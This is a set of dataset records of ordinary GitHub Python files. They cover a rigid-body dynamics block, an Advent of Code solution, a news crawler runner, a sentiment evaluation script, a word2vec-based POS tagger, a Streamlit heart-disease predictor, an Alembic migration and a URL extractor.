\"Localizable JS Link\"\n    for_widget = LocalizableJSLink(\"turbogears\", \"js/yourscript-%(lang)s.js\")\n","repo_name":"thraxil/gtreed","sub_path":"working-env/lib/python2.5/TurboGears-1.0.2.2-py2.5.egg/turbogears/widgets/i18n.py","file_name":"i18n.py","file_ext":"py","file_size_in_byte":3336,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"1551243848","text":"\"\"\"\nBlocks for stiff body dynamics\n\"\"\"\nimport numpy as np\nfrom modypy.model import Block, Port, signal_method, State\nfrom numpy import linalg\n\n\nclass RigidBody6DOFFlatEarth(Block):\n    \"\"\"A block representing the motion of a rigid body in 6 degrees of freedom\n    relative to a flat earth reference frame.\n\n    The flat earth reference frame assumes the x-axis pointing to the north,\n    the y-axis pointing to the east, and the z-axis pointing down.\n\n    The body reference frame assumes the x-axis pointing to the front, the\n    y-axis pointing to the right, and the z-axis pointing down.\n\n    Both reference frames are right-handed systems.\n\n    The block assumes a constant mass and constant moment of inertia.\n\n    The block accepts the applied forces and moments in the body reference\n    frame as input, in this order.\n\n    It provides as output (in this order)\n        - the velocity in the earth reference frame,\n        - the position in the earth reference frame,\n        - the coordinate transformation matrix from the body to the earth\n          reference frame,\n        - the velocity in the body reference frame, and\n        - the angular rates in the body reference frame.\n    \"\"\"\n\n    def __init__(\n        self,\n        owner,\n        mass,\n        moment_of_inertia,\n        initial_velocity_earth=None,\n        initial_position_earth=None,\n        initial_transformation=None,\n        initial_angular_rates_earth=None,\n    ):\n        Block.__init__(self, owner)\n        self.mass = mass\n        self.moment_of_inertia = moment_of_inertia\n\n        self.forces_body = Port(shape=3)\n        self.moments_body = Port(shape=3)\n\n        if initial_transformation is None:\n            initial_transformation = np.eye(3)\n\n        self.velocity_earth = State(\n            self,\n            shape=3,\n            derivative_function=self.velocity_earth_dot,\n            initial_condition=initial_velocity_earth,\n        )\n        self.position_earth = State(\n            self,\n            shape=3,\n            derivative_function=self.position_earth_dot,\n            initial_condition=initial_position_earth,\n        )\n        self.omega_earth = State(\n            self,\n            shape=3,\n            derivative_function=self.omega_earth_dot,\n            initial_condition=initial_angular_rates_earth,\n        )\n        self.dcm = State(\n            self,\n            shape=(3, 3),\n            derivative_function=self.dcm_dot,\n            initial_condition=initial_transformation,\n        )\n\n    def velocity_earth_dot(self, data):\n        \"\"\"Calculates the acceleration in the earth reference frame\"\"\"\n        forces_earth = self.dcm(data) @ self.forces_body(data)\n        accel_earth = forces_earth / self.mass\n        return accel_earth\n\n    def position_earth_dot(self, data):\n        \"\"\"Calculates the velocity in the earth reference frame\"\"\"\n        return self.velocity_earth(data)\n\n    def omega_earth_dot(self, data):\n        \"\"\"Calculate the angular acceleration in the earth reference frame\"\"\"\n        moments_earth = self.dcm(data) @ self.moments_body(data)\n        ang_accel_earth = linalg.solve(self.moment_of_inertia, moments_earth)\n        return ang_accel_earth\n\n    def dcm_dot(self, data):\n        \"\"\"Calculate the derivative of the direct cosine matrix\"\"\"\n        omega_earth = self.omega_earth(data)\n        skew_sym_matrix = np.array(\n            [\n                [0, -omega_earth[2], omega_earth[1]],\n                [omega_earth[2], 0, -omega_earth[0]],\n                [-omega_earth[1], omega_earth[0], 0],\n            ]\n        )\n        return skew_sym_matrix @ self.dcm(data)\n\n    # pylint does not recognize the modifications to the signal_method decorator\n    # pylint: disable=no-value-for-parameter\n    @signal_method(shape=(3, 3))\n    def dcm_inverse(self, data):\n        \"\"\"The inverse of the direct cosine matrix\"\"\"\n        return np.swapaxes(self.dcm(data), 0, 1)\n\n    # pylint does not recognize the modifications to the signal_method decorator\n    # pylint: disable=no-value-for-parameter\n    @signal_method(shape=3)\n    def velocity_body(self, data):\n        \"\"\"Calculate the velocity in the body reference frame\"\"\"\n\n        return np.einsum(\n            \"ij...,j...->i...\",\n            self.dcm_inverse(data),\n            self.velocity_earth(data),\n        )\n\n    # pylint does not recognize the modifications to the signal_method decorator\n    # pylint: disable=no-value-for-parameter\n    @signal_method(shape=3)\n    def omega_body(self, data):\n        \"\"\"Calculate the angular velocity in the body reference frame\"\"\"\n\n        return np.einsum(\n            \"ij...,j...->i...\", self.dcm_inverse(data), self.omega_earth(data)\n        )\n\n\nclass DirectCosineToEuler(Block):\n    \"\"\"A block translating a direct cosine matrix to Euler angles.\n\n    This block has a 3x3 direct cosine matrix (DCM) as input and\n    provides the euler angles (psi, theta, phi, in radians) for yaw,\n    pitch and roll as output.\n    \"\"\"\n\n    # yaw: psi\n    # pitch: theta\n    # roll: phi\n    def __init__(self, parent):\n        Block.__init__(self, parent)\n\n        self.dcm = Port(shape=(3, 3))\n\n    @signal_method\n    def yaw(self, data):\n        \"\"\"Calculate the yaw angle for the given direct cosine matrix\"\"\"\n        dcm = self.dcm(data)\n        return np.arctan2(dcm[1, 0], dcm[0, 0])\n\n    @signal_method\n    def pitch(self, data):\n        \"\"\"Calculate the pitch angle for the given direct cosine matrix\"\"\"\n        dcm = self.dcm(data)\n        return np.arctan2(-dcm[2, 0], np.sqrt(dcm[0, 0] ** 2 + dcm[1, 0] ** 2))\n\n    @signal_method\n    def roll(self, data):\n        \"\"\"Calculate the roll angle for the given direct cosine matrix\"\"\"\n        dcm = self.dcm(data)\n        return np.arctan2(dcm[2, 1], dcm[2, 2])\n","repo_name":"modypy/modypy","sub_path":"modypy/blocks/rigid.py","file_name":"rigid.py","file_ext":"py","file_size_in_byte":5747,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"28407566318","text":"\ndepth = 0\nh_pos = 0\n\nlines = [l.strip() for l in open('input.txt').readlines()]\nfor line in lines:\n    parts = line.split(' ')\n    if parts[0] == 'forward':\n        h_pos += int(parts[1])\n    elif parts[0] in ['up', 'down']:\n        depth += -(int(parts[1])) if parts[0] == 'up' else int(parts[1])\n\nprint(depth, h_pos, depth * h_pos)\n","repo_name":"JordanKnott/advent-of-code-2021","sub_path":"day02-1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"22186656106","text":"from NewsCrawler import news_crawler\nfrom NewsCrawler.category import categories, reversed_categories\nimport time\nimport argparse\n\n\n# 시작날짜, 종료날짜를 '2020xxxx' 형식에 맞게 넣어주세욥!\nparser = argparse.ArgumentParser(description='Date Configuration')\nparser.add_argument('--start', required=True, help='start date of crawling ex.20200901')\nparser.add_argument('--end', required=True, help='end date of crawling ex.20200910')\nparser.add_argument('--category', required=False, help='put category in string or int')\n\nargs = parser.parse_args()\n\nstart_date, end_date = int(args.start), int(args.end)\ncategory = args.category.strip().split(',')\n\nfor i, cate in enumerate(category):\n    if cate in categories:\n        continue\n    elif int(cate) in reversed_categories:\n        category[i] = reversed_categories[int(cate)]\n    else:\n        raise KeyError\n\n# start crawler\nbatch = 3 # 3일 단위로 묶어서 크롤링\nfor i in range((end_date - start_date)//batch + 1):\n    start_time = time.time()\n\n    start = start_date + i * batch\n    end = start_date + (i + 1) * batch - 1\n    if end > end_date:\n        end = end_date\n    Crawler = news_crawler.ArticleCrawler(str(start), str(end))\n    # 오타 없나 체크 또 체크!\n    Crawler.set_category(category)\n    print(f\"Crawling {start} ~ {end} start!\")\n    Crawler.start()\n    print(f\"Crawling {start} ~ {end} Done!\")\n    print(f\"==========================={time.time() - start_time} seconds ============================\")\n\n    time.sleep(30)\n","repo_name":"Nanjangpan/NewsDashboard","sub_path":"crawler/news_collecting.py","file_name":"news_collecting.py","file_ext":"py","file_size_in_byte":1519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"6261393586","text":"import pickle\nimport json\nimport os\nfrom collections import OrderedDict # 有序词典\nimport numpy as np\nimport ml_model as ml\nimport operate_data as od\n\ndef runBest(vector='wordfreq',m_model = ml.naiveBayes):\n    ##### 开启记录模式的代码(只记录留一验证后准确率最高的模型) #####\n    xpath = os.path.join('result', 'vector', 'resultX.npz')\n    ypath = os.path.join('result', 'vector', 'resultY.npz')\n    resultX = np.load(xpath)\n    resultY = np.load(ypath)\n    logpath = os.path.join('result','log','logfile.plk')\n    logfile = None\n    with open(logpath,'rb') as f:\n        logfile = pickle.load(f)\n\n    trainX,trainY,testX,testY,logTrain,logTest = od.randomData(resultX[vector],resultY[vector],0.1,logfile) # 选取最好的vector方法\n    model = m_model(trainX,trainY) # 选取最好的机器训练模型\n    predictY = [model.predict(x.reshape(1,-1))[0] for x in testX]\n    logDict = OrderedDict()\n    logDict['+2+'] = [];logDict['+2.'] = [];logDict['+2-'] = []\n    logDict['-2+'] = [];logDict['-2.'] = [];logDict['-2-'] = []\n    logDict['.2+'] = [];logDict['.2.'] = [];logDict['.2-'] = []\n    for i in range(len(predictY)):\n        if predictY[i] == testY[i]:\n            if predictY[i]>0:\n                logDict['+2+'].append(logTest[i])\n            elif predictY[i]==0:\n                logDict['.2.'].append(logTest[i])\n            else:\n                logDict['-2-'].append(logTest[i])\n        elif predictY[i]>0 and testY[i]==0:\n            logDict['.2+'].append(logTest[i])\n        elif predictY[i]>0 and testY[i]<0:\n            logDict['-2+'].append(logTest[i])\n\n        elif predictY[i]<0 and testY[i]==0:\n            logDict['.2-'].append(logTest[i])\n        elif predictY[i]<0 and testY[i]>0:\n            logDict['+2-'].append(logTest[i])\n\n        elif predictY[i]==0 and testY[i]>0:\n            logDict['+2.'].append(logTest[i])\n        elif predictY[i]==0 and testY[i]<0:\n            logDict['-2.'].append(logTest[i])\n\n    with open(os.path.join('result','log','3plus3arr.plk'),'wb') as f:\n        pickle.dump(logDict,f)\n    print('Over')\n\ndef logBest():\n    arr = None # 存放3*3的矩阵(实际是数组)\n    with open(os.path.join('result','log','3plus3arr.plk'),'rb') as f:\n        arr = pickle.load(f)\n\n    ErrorTag = {}\n    key_arr = [] # 含有错误标签的键组成的数组\n\n    for key in arr.keys():\n        if key not in ('+2+','-2-','.2.') and len(arr[key]):\n            key_arr.append(key)\n            message = 'At: '+key+'; Total '+str(len(arr[key]))+\"; \\n  \"+\",\".join(arr[key])\n            print(message)\n            ErrorTag[key] = message\n    with open(os.path.join('result','log','best_model','error_tag.json'),'w',encoding=\"utf-8\") as f:\n        json.dump(ErrorTag,f)\n\n    print(\"=\"*30)\n\n    for key in arr.keys():\n        if key not in key_arr:\n            print('At: ' + key + '; Total ' + str(len(arr[key])) + \"; \\n  \" + \",\".join(arr[key]))\n\n    ##### 计算PR并且写入文件 #####\n    pr = {} #p:精确率 r:召回率\n    if (len(arr['+2+'])+len(arr['-2+'])+len(arr['.2+'])) and (len(arr['+2+'])+len(arr['+2-'])+len(arr['+2.'])):\n        pr['+'] = {\\\n            'p':len(arr['+2+'])/(len(arr['+2+'])+len(arr['-2+'])+len(arr['.2+'])),\\\n            'r':len(arr['+2+'])/(len(arr['+2+'])+len(arr['+2-'])+len(arr['+2.'])) \\\n        }\n    else :\n        pr['+'] = {'p' : None,'r' :None}\n\n    if (len(arr['-2-'])+len(arr['+2-'])+len(arr['.2-'])) and (len(arr['-2-'])+len(arr['-2+'])+len(arr['-2.'])):\n        pr['-'] = {\\\n            'p':len(arr['-2-'])/(len(arr['-2-'])+len(arr['+2-'])+len(arr['.2-'])),\\\n            'r':len(arr['-2-'])/(len(arr['-2-'])+len(arr['-2+'])+len(arr['-2.'])) \\\n        }\n    else :\n        pr['-'] = {'p':None,'r':None}\n\n    if  (len(arr['.2.'])+len(arr['+2.'])+len(arr['-2.'])) and (len(arr['.2.'])+len(arr['.2+'])+len(arr['.2-'])):\n        pr['.'] = {\\\n            'p':len(arr['.2.'])/(len(arr['.2.'])+len(arr['+2.'])+len(arr['-2.'])),\\\n            'r':len(arr['.2.'])/(len(arr['.2.'])+len(arr['.2+'])+len(arr['.2-'])) \\\n        }\n    else :\n        pr['.'] = {'p':None,'r':None}\n    with open(os.path.join('result','log','best_model','PR.json'),'w',encoding=\"utf-8\") as f:\n        json.dump(pr,f)\n\nif __name__=='__main__':\n    best_vec = 'wordfreq'\n    best_model = ml.naiveBayes\n    runBest(vector = best_vec,m_model= best_model)\n    logBest()\n","repo_name":"dongyuanxin/news-emotion","sub_path":"run_best.py","file_name":"run_best.py","file_ext":"py","file_size_in_byte":4347,"program_lang":"python","lang":"en","doc_type":"code","stars":310,"dataset":"github-code","pt":"60"}
+{"seq_id":"25163219185","text":"import gensim\nimport string\nimport time\nfrom multiprocessing import Pool\nimport numpy as np\nfrom gensim.models import Word2Vec\nfrom sklearn.decomposition import PCA\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.ensemble import RandomForestClassifier\nimport xgboost as xgb\nfrom constants import *\nfrom utils import *\nimport joblib\nfrom sklearn.preprocessing import LabelEncoder, MinMaxScaler\n\ndef evaluate(data, model):\n    \"\"\"Evaluates the POS model on some sentences and gold tags.\n\n    This model can compute a few different accuracies:\n        - whole-sentence accuracy\n        - per-token accuracy\n        - compare the probabilities computed by different styles of decoding\n\n    You might want to refactor this into several different evaluation functions,\n    or you can use it as is. \n    \n    As per the write-up, you may find it faster to use multiprocessing (code included). \n    \n    \"\"\"\n    processes = 8\n    sentences = data[0]\n    words, tags = flatten_data(data[0],data[1])\n    n = len(words)\n    k = n//processes\n    unk_n_tokens = sum([1 for s in sentences for w in s if w not in model.word2idx.keys()])\n    # Identify and isolate sentences with unknown words and their respective tags\n    words = [word for word in words if word not in model.word2idx.keys()]\n    tags = [tag for word, tag in zip(words, tags) if word not in model.word2idx.keys()]\n    predictions = {i:None for i in range(unk_n_tokens)}\n         \n    start = time.time()\n    pool = Pool(processes=processes)\n    res = []\n    for i in range(0, n, k):\n        res.append(pool.apply_async(infer_sentences, [model, words[i:i+k], i]))\n    ans = [r.get(timeout=None) for r in res]\n    predictions = dict()\n    for a in ans:\n        predictions.update(a)\n    print(f\"Inference Runtime: {(time.time()-start)/60} minutes.\")\n    \n    unk_token_acc = sum([1 for i in range(len(words)) if tags[i] == predictions[i] and words[i] not in model.word2idx.keys()]) / unk_n_tokens\n    #adding my manual code\n    misclassification_count = 0\n    for i in range(len(words)):\n        # Check if the word is unknown and misclassified\n        if words[i] not in model.word2idx.keys() and tags[i] != predictions[i]:\n            print(f\"Sentence: {i}, Word: {words[i]}, Actual Tag: {tags[i]}, Predicted Tag: {predictions[i]}\")\n            misclassification_count += 1\n        # Stop after printing 10 misclassifications\n        if misclassification_count >= 20:\n            break\n    print(\"Unk token acc: {}\".format(unk_token_acc))\n    return\n\ndef flatten_data(data_words, data_tags):\n    flattened_words = [word for sentence in data_words for word in sentence]\n    flattened_tags = [tag for tag_list in data_tags for tag in tag_list]\n    return flattened_words, flattened_tags\n\ndef has_numbers(inputString):\n    return any(char.isdigit() for char in inputString)\n\ndef contains_dash(inputString):\n    return '-' in inputString\n\ndef is_punctuation(word):\n    return word in string.punctuation\n\nclass POSTagger_MLP():\n    def __init__(self,documents,model_type=\"MLP\"):\n        \"\"\"Initializes the tagger model parameters and anything else necessary. \"\"\"\n        # Train Word2Vec model\n        model_path = \"./GoogleNews-vectors-negative300.bin\"\n        self.model = gensim.models.KeyedVectors.load_word2vec_format(model_path, binary=True)\n        # Fit PCA on training data once here\n        all_embeddings = [self.model[word] for sentence in documents for word in sentence if word in self.model]\n        self.embeddings_new_length = 100\n        self.pca = PCA(n_components=self.embeddings_new_length).fit(all_embeddings)\n        #Create set of tokens\n        self.build_vocab(documents)\n        #Create freq\n        freq = [sum(doc.count(word) for doc in documents) for word in self.vocab]\n        self.freq = np.array(freq)\n        #suffix vocab\n        self.build_suffix_indices(documents)\n        self.build_prefix_indices(documents)\n        if model_type == \"XGB\":\n            self.label_encoder = LabelEncoder()\n        self.model_type = model_type\n        #self.scaler = MinMaxScaler(feature_range=(-1, 1))\n        print(\"initialized unknown word POS tagger...\")\n\n    def build_vocab(self, documents):\n        \"\"\"Build a vocabulary and map words to indices. Filter words that occur more than 10 times.\"\"\"\n        self.vocab = list(set([word for sentence in documents for word in sentence]))\n        self.word2idx = {self.vocab[i]:i for i in range(len(self.vocab))}\n        self.idx2word = {v:k for k,v in self.word2idx.items()}\n\n    def build_suffix_indices(self, documents):\n        \"\"\"Extract suffixes from words and map them to indices.\"\"\"\n        # Implement suffix extraction logic\n        self.tri_suffixes = list(set([word[-3:] for sentence in documents for word in sentence]))\n        self.tri_suffixes.append('...')\n        self.tri_suffix2idx = {self.tri_suffixes[i]:i for i in range(len(self.tri_suffixes))}\n        self.idx2tri_suffix = {v:k for k,v in self.tri_suffix2idx.items()}\n        #do it for last two characters\n        self.bi_suffixes = list(set([word[-2:] for sentence in documents for word in sentence]))\n        self.bi_suffixes.append('...')\n        self.bi_suffix2idx = {self.bi_suffixes[i]:i for i in range(len(self.bi_suffixes))}\n        self.idx2bi_suffix = {v:k for k,v in self.bi_suffix2idx.items()}\n        # Unigram suffixes\n        self.uni_suffixes = list(set([word[-1:] for sentence in documents for word in sentence]))\n        self.uni_suffixes.append('...')\n        self.uni_suffix2idx = {self.uni_suffixes[i]:i for i in range(len(self.uni_suffixes))}\n        self.idx2uni_suffix = {v:k for k,v in self.uni_suffix2idx.items()}\n\n    def get_tri_suffix_index(self, word):\n        try:\n            return self.tri_suffix2idx[word[-3:]]\n        except KeyError:\n            return self.tri_suffix2idx['...']\n        \n    def get_bi_suffix_index(self,word):\n        try:\n            return self.bi_suffix2idx[word[-2:]]\n        except KeyError:\n            return self.tri_suffix2idx['...']\n    \n    def get_uni_suffix_index(self,word):\n        try:\n            return self.uni_suffix2idx[word[-1:]]\n        except KeyError:\n            return self.uni_suffix2idx['...']\n        \n    def build_prefix_indices(self, documents):\n        \"\"\"Extract prefixes from words and map them to indices.\"\"\"\n        self.tri_prefixes = list(set([word[:3] for sentence in documents for word in sentence]))\n        self.tri_prefixes.append('...')\n        self.tri_prefix2idx = {self.tri_prefixes[i]: i for i in range(len(self.tri_prefixes))}\n        self.idx2tri_prefix = {v: k for k, v in self.tri_prefix2idx.items()}\n\n        self.bi_prefixes = list(set([word[:2] for sentence in documents for word in sentence]))\n        self.bi_prefixes.append('...')\n        self.bi_prefix2idx = {self.bi_prefixes[i]: i for i in range(len(self.bi_prefixes))}\n        self.idx2bi_prefix = {v: k for k, v in self.bi_prefix2idx.items()}\n\n    def get_tri_prefix_index(self, word):\n        try:\n            return self.tri_prefix2idx[word[:3]]\n        except KeyError:\n            return self.tri_prefix2idx['...']\n\n    def get_bi_prefix_index(self, word):\n        try:\n            return self.bi_prefix2idx[word[:2]]\n        except KeyError:\n            return self.bi_prefix2idx['...']\n\n    def predict_word(self,word):\n        vector_word = self.get_word_vector(word)\n        #vector_word = self.scaler.fit_transform([vector_word])[0]\n        if self.model_type == \"MLP\":\n            return self.clf.predict([vector_word])[0]\n        else:\n            # Decode numerical prediction back to original label\n            prediction = self.clf.predict([vector_word])[0]\n            decoded_prediction = self.label_encoder.inverse_transform([prediction])[0]\n            return decoded_prediction\n    \n    def inference(self,word):\n        vector_word = self.get_word_vector(word)\n        #vector_word = self.scaler.fit_transform([vector_word])[0]\n        if self.model_type == \"MLP\":\n            return self.clf.predict([vector_word])[0]\n        else:\n            # Decode numerical prediction back to original label\n            prediction = self.clf.predict([vector_word])[0]\n            decoded_prediction = self.label_encoder.inverse_transform([prediction])[0]\n            return decoded_prediction\n    \n    def get_w2v_embedding(self, word, vector_length=300):\n        try:\n            return self.model[word]\n        except KeyError:\n            return np.zeros(vector_length)\n            \n    def get_word_vector(self, word):\n        features = {\n            'tri_suffix_index': self.get_tri_suffix_index(word),\n            'bi_suffix_index': self.get_bi_suffix_index(word),\n            'uni_suffix_index': self.get_uni_suffix_index(word),\n            'is_capitalized': int(word[0].isupper()),\n            'num_capitals': sum([1 for char in word if char.isupper()]),\n            'contains_dash': int('-' in word),\n            'word_length': len(word),\n            'contains_slash': int('\\/' in word),\n            'contains_number': int(any(char.isdigit() for char in word)),\n            # Add other features as needed\n        }\n        try:\n            full_embedding = self.model[word]\n            reduced_embedding = self.pca.transform([full_embedding])[0]\n             # Combine features: [reduced_embedding, suffix_index, is_capitalized, contains_dash, contains_number]\n            feature_vector = np.concatenate(([features['tri_suffix_index'],features['bi_suffix_index'],\n                                              features['uni_suffix_index'],features['num_capitals'],features['word_length'],\n                                              features['contains_slash'],\n                                            features['is_capitalized'], features['contains_dash'],\n                                            features['contains_number']], reduced_embedding))\n            return feature_vector\n        except KeyError:\n            # Handle the case where the word is not in the vocabulary\n            #print(f\"{word} not found in word2vec\")\n            if contains_dash(word):\n                temp = word.split('-')\n                vectors = []\n                for word in temp:\n                    vectors.append(self.get_w2v_embedding(word))\n                full_embedding = np.sum(vectors,axis=0)/len(vectors)\n                reduced_embedding = self.pca.transform([full_embedding])[0]\n                feature_vector = np.concatenate(([features['tri_suffix_index'],features['bi_suffix_index'],\n                                                  features['uni_suffix_index'],features['num_capitals'],features['word_length'],\n                                              features['contains_slash'],\n                                            features['is_capitalized'], features['contains_dash'],\n                                            features['contains_number']], reduced_embedding))\n                return feature_vector\n            else:\n                reduced_embedding = np.zeros(self.embeddings_new_length)\n                feature_vector = np.concatenate(([features['tri_suffix_index'],features['bi_suffix_index'],\n                                                  features['uni_suffix_index'],features['num_capitals'],features['word_length'],\n                                              features['contains_slash'],\n                                            features['is_capitalized'], features['contains_dash'],\n                                            features['contains_number']], reduced_embedding))\n                return feature_vector\n    \n    #assume np arrays\n    def train(self,train_x,train_y):\n        print(\"training unknown word POS tagger...\")\n        #get the words & tag labels and create feature vectors with word2vec\n        filtered_words = []\n        filtered_labels = []\n        for word, label in zip(train_x, train_y):\n            if self.freq[self.word2idx[word]] >= 10:\n                #print(\"ah\")\n                pass\n            else:\n                vector = self.get_word_vector(word)\n                # if np.any(vector):  # Check if the vector is non-zero\n                filtered_words.append(vector)  # Store the vector instead of the word\n                filtered_labels.append(label)\n        #filtered_words = self.scaler.fit_transform(filtered_words)\n        if self.model_type == \"MLP\":\n            self.clf = MLPClassifier(hidden_layer_sizes=(100,100,50),max_iter=300)\n            self.clf.fit(np.array(filtered_words), np.array(filtered_labels))\n        else:\n            # Utilize XGBoost\n            encoded_labels = self.label_encoder.fit_transform(train_y)\n            self.clf = xgb.XGBClassifier(objective='multi:softprob',  # Softmax probability for multi-class classification\n                num_class=len(set(encoded_labels))\n                )\n            self.clf.fit(np.array(filtered_words), np.array(encoded_labels))\n        print(\"finished training unknown word POS tagger...\")\n        #joblib.dump(self.clf, './unknown_tagger.joblib')\n\n    def load_model(self,model_path):\n        self.clf = joblib.load(model_path)\n\nif __name__ == \"__main__\":\n    \"\"\"Avoid using this script for testing as it's currently broken at the moment.\"\"\"\n    train_data = load_data(\"data/train_x.csv\", \"data/train_y.csv\")\n    train_x, train_y = flatten_data(train_data[0],train_data[1])\n    dev_data = load_data(\"data/dev_x.csv\", \"data/dev_y.csv\")\n    test_data = load_data(\"data/test_x.csv\")\n    clf = POSTagger_MLP(train_data[0], model_type=\"XBG\")\n    clf.train(np.array(train_x[:2000]),np.array(train_y[:2000]))\n    evaluate(dev_data[:1000],clf)","repo_name":"nlao1/CIS-5300-Homework-2","sub_path":"pos_tagger_unknown.py","file_name":"pos_tagger_unknown.py","file_ext":"py","file_size_in_byte":13592,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"36692712445","text":"from sklearn.linear_model import LogisticRegression\r\nfrom sklearn.preprocessing import StandardScaler\r\nimport numpy as np\r\nimport streamlit as st\r\nimport pandas as pd\r\nimport pickle as pickle\r\nmodel = pickle.load(open('model.sav', 'rb'))\r\n\r\n\r\n# reading data\r\ndf = pd.read_csv('heart_disease.csv')\r\n\r\ndef predict_heart(Gender_Male,age,currentSmoker,Cigeratte_per_day,BPMeds,prevalentHyp,diabetes,totchol,sysBP,diaBP,BMI,heartRate,glucose,prevalentStroke):\r\n    input=np.array([[Gender_Male,age,currentSmoker,Cigeratte_per_day,BPMeds,prevalentHyp,diabetes,totchol,sysBP,diaBP,BMI,heartRate,glucose,prevalentStroke]]).astype(np.float64)\r\n    prediction=model.predict(input)\r\n    pred='{0:.{1}f}'.format(prediction[0][0], 2)\r\n    return float(pred)\r\n\r\ndef main():\r\n    st.title(\"Heart Stroke Prediction\")\r\n\r\n\r\n    Gender_Male= st.radio(\"Select Gender: \", ('Male', 'Female'))\r\n    age = st.text_input(\"age\",\"\")\r\n    currentSmoker = st.radio(\"currentSmoker\",('Yes', 'No'))\r\n    Cigeratte_per_day = st.text_input(\"Cigeratte_per_day\",\"\")\r\n    BPMeds = st.radio(\"BPMeds\",('Yes','No'))\r\n    prevalentHyp= st.radio(\"prevalentHyp: \", ('Yes', 'No'))\r\n    diabetes= st.radio(\"Diabetes: \", ('Yes', 'No'))\r\n    totchol = st.text_input(\"cholestrol\",\"\")\r\n    sysBP = st.text_input(\"systolic Blood Pressure\",\"\")\r\n    diaBP = st.text_input(\"diastolic Blood Pressure\",\"\")\r\n    BMI = st.text_input(\"Body Mass Isolation \",\"\")\r\n    heartRate = st.text_input(\"HeartRate\",\"\")\r\n    glucose = st.text_input(\"Glucose\",\"\")\r\n    prevalentStroke_yes= st.radio(\"prevalent stroke: \", ('Yes', 'No'))\r\n    if currentSmoker==\"Yes\":\r\n        currentSmoker=1 \r\n    elif currentSmoker==\"No\":\r\n        currentSmoker=0\r\n    \r\n    if BPMeds==\"Yes\":\r\n        BPMeds=1\r\n    elif BPMeds==\"No\":\r\n        BPMeds=0\r\n    \r\n    if prevalentHyp==\"Yes\":\r\n        prevalentHyp=1\r\n    elif prevalentHyp==\"No\":\r\n        prevalentHyp=0\r\n \r\n    if diabetes==\"Yes\":\r\n        diabetes=1\r\n    elif diabetes==\"No\":\r\n        diabetes=0\r\n \r\n    if Gender_Male==\"Female\":\r\n        Gender_Male=0\r\n    elif Gender_Male==\"Male\":\r\n          Gender_Male=1\r\n\r\n    if prevalentStroke_yes==\"Yes\":\r\n        prevalentStroke_yes=1\r\n    elif prevalentStroke_yes==\"No\":\r\n          prevalentStroke_yes=0\r\n\r\n    if st.button(\"Predict\"):\r\n        output=predict_heart(Gender_Male,age,currentSmoker,Cigeratte_per_day,BPMeds,prevalentHyp,diabetes,totchol,sysBP,diaBP,BMI,heartRate,glucose,prevalentStroke_yes)\r\n        st.success('Heart Stroke {}'.format(output))\r\n\r\n        if output == 0:\r\n            st.markdown('Heart Stroke',unsafe_allow_html=True)\r\n        else:\r\n            st.markdown('No heart stroke',unsafe_allow_html=True)\r\n\r\nif __name__=='__main__':\r\n    main()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"kirolos23/Machine-learning-Project","sub_path":"pages/PRED.py","file_name":"PRED.py","file_ext":"py","file_size_in_byte":2727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"36369288523","text":"\"\"\"empty message\n\nRevision ID: 5fa860be380f\nRevises: a0089a928d64\nCreate Date: 2019-04-20 06:07:06.835430\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = \"5fa860be380f\"\ndown_revision = \"a0089a928d64\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.alter_column(\n        \"person\", \"email\", existing_type=sa.VARCHAR(length=50), nullable=False\n    )\n    op.alter_column(\n        \"person\", \"name\", existing_type=sa.VARCHAR(length=50), nullable=False\n    )\n    op.add_column(\n        \"person_profile\", sa.Column(\"person_id\", sa.Integer(), nullable=False)\n    )\n    op.drop_constraint(\n        \"person_profile_person_fkey\", \"person_profile\", type_=\"foreignkey\"\n    )\n    op.create_foreign_key(\n        None, \"person_profile\", \"person\", [\"person_id\"], [\"person_id\"]\n    )\n    op.drop_column(\"person_profile\", \"person\")\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column(\n        \"person_profile\",\n        sa.Column(\"person\", sa.INTEGER(), autoincrement=False, nullable=False),\n    )\n    op.drop_constraint(None, \"person_profile\", type_=\"foreignkey\")\n    op.create_foreign_key(\n        \"person_profile_person_fkey\",\n        \"person_profile\",\n        \"person\",\n        [\"person\"],\n        [\"person_id\"],\n    )\n    op.drop_column(\"person_profile\", \"person_id\")\n    op.alter_column(\n        \"person\", \"name\", existing_type=sa.VARCHAR(length=50), nullable=True\n    )\n    op.alter_column(\n        \"person\", \"email\", existing_type=sa.VARCHAR(length=50), nullable=True\n    )\n    # ### end Alembic commands ###\n","repo_name":"andela-football-league/afl-ug-backend","sub_path":"migrations/versions/5fa860be380f_.py","file_name":"5fa860be380f_.py","file_ext":"py","file_size_in_byte":1721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"16022166190","text":"import sys\n\ndef get_link(str_link):\n    get_str_arr = str_link.split()\n    result_str_arr = []\n    for str_link in get_str_arr:\n        if str_link.find(\"http\") > -1:\n            result_str_arr.append(str_link)\n\n    return result_str_arr\n\nif __name__ == \"__main__\":\n    a = \"They said that website https://www.facebook.com is an awesome social media http://www.twitter.com platform\"\n    print(get_link(a))","repo_name":"sodri126/hackerrank","sub_path":"get_link.py","file_name":"get_link.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
